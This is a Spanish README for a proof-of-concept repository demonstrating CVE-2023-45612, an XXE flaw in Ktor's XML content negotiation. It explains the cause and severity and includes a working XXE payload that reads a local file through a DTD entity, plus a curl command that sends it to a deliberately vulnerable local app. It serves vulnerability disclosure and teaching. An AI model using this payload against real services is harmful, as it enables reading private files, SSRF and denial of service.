
Prueba de concepto de inyección XXE en Ktor (CVE-2023-45612)
Impacto: Acceso a archivos arbitrarios mediante una DTD XML manipulada con una referencia XXE.
Causa raíz: Analizador XML inseguro.
Este repositorio contiene una aplicación Ktor 2.3.4 vulnerable configurada para permitir entidades externas de modo que el efecto XXE sea visible.
Aplicación Ktor (v2.3.4) vulnerable para inyección de entidades externas XML (CVE-2023-45612) como prueba de concepto.
CVE-2023-45612 es un error XXE (Entidad Externa XML) en ContentNegotiation de Ktor cuando XML está habilitado en versiones anteriores a 2.3.5.
Esta vulnerabilidad se asigna a CWE-611: Restricción Inadecuada de Referencia a Entidad Externa XML.
XXE forma parte de la categoría de riesgo OWASP Top 10 A05:2021-Mala Configuración de Seguridad, pero también es un problema de diseño inseguro, ya que la causa es un analizador XML no restrictivo.
Reportado por Ulf Karlsson — consulte notas de seguridad de Jetbrains.
Versiones de Ktor anteriores a 2.3.5
Esta es mi configuración para reproducir el problema:
Los documentos XML pueden contener opcionalmente una Definición de Tipo de Documento (DTD), que, entre otras características, permite la definición de entidades XML. Es posible definir una entidad proporcionando una cadena de sustitución en forma de URI. El analizador XML puede acceder al contenido de esta URI e incrustar dicho contenido de nuevo en el documento XML para su posterior procesamiento.
Al enviar un archivo XML que define una entidad externa con una URI file://, un atacante puede hacer que la aplicación procesadora lea el contenido de un archivo local.
Por ejemplo, una URI como "file:///c:/winnt/win.ini" designa (en Windows) el archivo C:\Winnt\win.ini, o file:///etc/passwd designa el archivo de contraseñas en sistemas basados en Unix.
(https://cwe.mitre.org/data/definitions/611.html)
Se realiza una solicitud POST al endpoint http://localhost:8080/xml.
La solicitud envía un archivo xml, exploit/payloads/xxe-demo-file.xml, que contiene un elemento <!DOCTYPE> en el que se referencia una entidad externa, en este caso exploit/etc/secret.txt.
Potencialmente podría ser cualquier otro archivo del sistema al que el proceso tenga acceso.
xxe-demo-file.xml
<!DOCTYPE Mail [ <!ENTITY xxe SYSTEM "exploit/etc/secret.txt"> ]>
<Mail><title>&xxe;</title></Mail>
El analizador XML (configurado para permitir DTDs) resuelve este elemento y recupera los datos del recurso.
La referencia externa también podría ser una ruta a un endpoint SSRF, o podría apuntar a un archivo grande para ocupar los recursos del sistema (DOS).
./gradlew run
Responding at http://127.0.0.1:8080
curl -i http://localhost:8080/xml -H "Content-Type: application/xml" --data-binary @exploit/payloads/xxe-demo-file.xml
Resultado esperado (vulnerable):
Salida en consola:
Received: <datos de entidad externa>
Resultado esperado (seguro):
400 Bad Request, o similar (El analizador XML bloquea la Definición de Tipo de Documento)
Ejecutar comando:

Enviar payload XXE usando cURL, y el resultado mostrando el contenido del archivo inyectado:

La severidad es alta/crítica. Posible recuperación de archivos locales, ataque SSRF, ataque DoS u otros impactos en el sistema.
Puntaje base NVD: 9.8 CRÍTICO (CVSS v3) (https://nvd.nist.gov/vuln/detail/CVE-2023-45612)